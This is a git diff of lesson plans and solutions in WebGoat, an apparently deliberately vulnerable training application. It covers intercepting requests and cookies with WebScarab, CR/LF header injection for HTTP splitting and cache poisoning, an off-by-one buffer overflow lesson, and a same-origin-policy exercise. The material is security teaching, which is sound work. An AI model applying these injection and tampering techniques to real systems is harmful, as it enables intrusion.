-We have to select "Intercept Request" in the tab "Intercept". If we send a HTTP request we get a new WebScarab window.
-
-Here we can read and edit the intercepted parameter. After "Accept changes" the request will be sent to the server.
Read And Edit Cookies
-Often it is not only necessary to change the value of the parameters but to change the value of cookies.
-We can use WebScarab to intercept the request and change cookies values just like parameter data as explained in the last topic.
-
-We get a new window on sending a HTTP request. On the screenshot you see where we can find cookies and how to edit the values of them.
+Often it is not only necessary to change the value of the parameters but to change the value of cookies.
+WebScarab has functionality for this as well.
+
This lesson has two stages. Stage 1 teaches you how to do HTTP Splitting attacks while stage 2 builds on that to teach you how to elevate HTTP Splitting to Cache Poisoning.
Enter a language for the system to search by. You will notice that the application is redirecting your request to another resource on the server. You should be able to use the CR (%0d) and LF (%0a) characters to exploit the attack. Your goal should be to force the server to send a 200 OK. If the screen changed as an effect to your attack, just go back to the homepage. After stage 2 is exploited successfully, you will find the green check in the left menu.
+You may find the PHP Charset Encoder useful. The Encode and DecodeURIComponent buttons translate CR and LF.
diff --git a/webgoat/src/main/webapp/lesson_plans/English/OffByOne.html b/webgoat/src/main/webapp/lesson_plans/English/OffByOne.html new file mode 100644 index 000000000..53bd06d01 --- /dev/null +++ b/webgoat/src/main/webapp/lesson_plans/English/OffByOne.html @@ -0,0 +1,21 @@ +
+
+Lesson Plan Title: How to Exploit "Off-by-One" Buffer Overflow Vulnerabilities
+Concept / Topic To Teach:
+How to Exploit a Web Based "Off-by-One" Buffer Overflow. ++
+
+How the attack works: +
+Despite being more rare, buffer overflow vulnerabilities on the web occur when a tier of the application has insufficient memory allocated to deal with the data submitted by the user. Typically, such a tier would be written in C or a similar language. + +For the particular subset, namely, off-by-one overflows, this lesson focuses on the consequences of being able to overwrite the position for the trailing null byte. + +As a result, further information is returned back to the user, due to the fact that no null byte was found. +Lesson Goal(s):
+ +Welcome to the OWASP Hotel! Can you find out which room a VIP guest is staying in?
+ +* Understand how a buffer overflow vulnerability can be triggered on a web application.+* Understand what type of value lengths are likely to trigger a buffer overflow.
\ No newline at end of file diff --git a/webgoat/src/main/webapp/lesson_plans/English/UsefulTools.html b/webgoat/src/main/webapp/lesson_plans/English/UsefulTools.html index e69db2dce..7c23aa847 100644 --- a/webgoat/src/main/webapp/lesson_plans/English/UsefulTools.html +++ b/webgoat/src/main/webapp/lesson_plans/English/UsefulTools.html @@ -12,6 +12,15 @@ operates as an intercepting proxy, we can review and modify requests and responses.
Webpage:http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project +
The .jar install file can be found at the OWASP Sourceforge Page +
After installing WebScarab and configuring your browser to use it as proxy on localhost we can start. If you are using localhost for your Tomcat server, remember to put a "." after the hostname when browsing to WebGoat.
+
+We have to select "Intercept Request" in the tab "Intercept". If we send a HTTP request we get a new WebScarab window.
+
+Here we can read and edit the intercepted parameter. After "Accept changes" the request will be sent to the server.
+WebScarab is also used to intercept the request and change cookies values just like parameter data:
+
+We get a new window on sending a HTTP request. On the screenshot you see where we can find cookies and how to edit their values.
Firebug:
diff --git a/webgoat/src/main/webapp/lesson_solutions/BasicAuthentication.html b/webgoat/src/main/webapp/lesson_solutions/BasicAuthentication.html index cebd41567..5d888cf5f 100644 --- a/webgoat/src/main/webapp/lesson_solutions/BasicAuthentication.html +++ b/webgoat/src/main/webapp/lesson_solutions/BasicAuthentication.html @@ -9,6 +9,7 @@ xmlns="http://www.w3.org/TR/REC-html40"> +
Intercept the
-reply and replace the body with document.forms[0].SUBMIT.disabled = false;
Figure + + + + + + +
+ +
+
+
+
+
+
+
+
+
+
+
+
+
+Lesson
+Plan Title: Same Origin Policy Protection.
Concept /
+Topic To Teach:
A key element of AJAX is the XMLHttpRequest (XHR), which allows javascript to make asynchronous calls from the client side to a server. However, as a security measure these requests may only be made to the server from which the client page originated.
General
+Goal(s):
This exercise demonstrates the Same Origin Policy Protection. XHR requests can only be passed back to the originating server. Attempts to pass data to a non-originating server will fail.
+
+
Solution:
Click both of the links on the page to see their behavior and complete the lesson.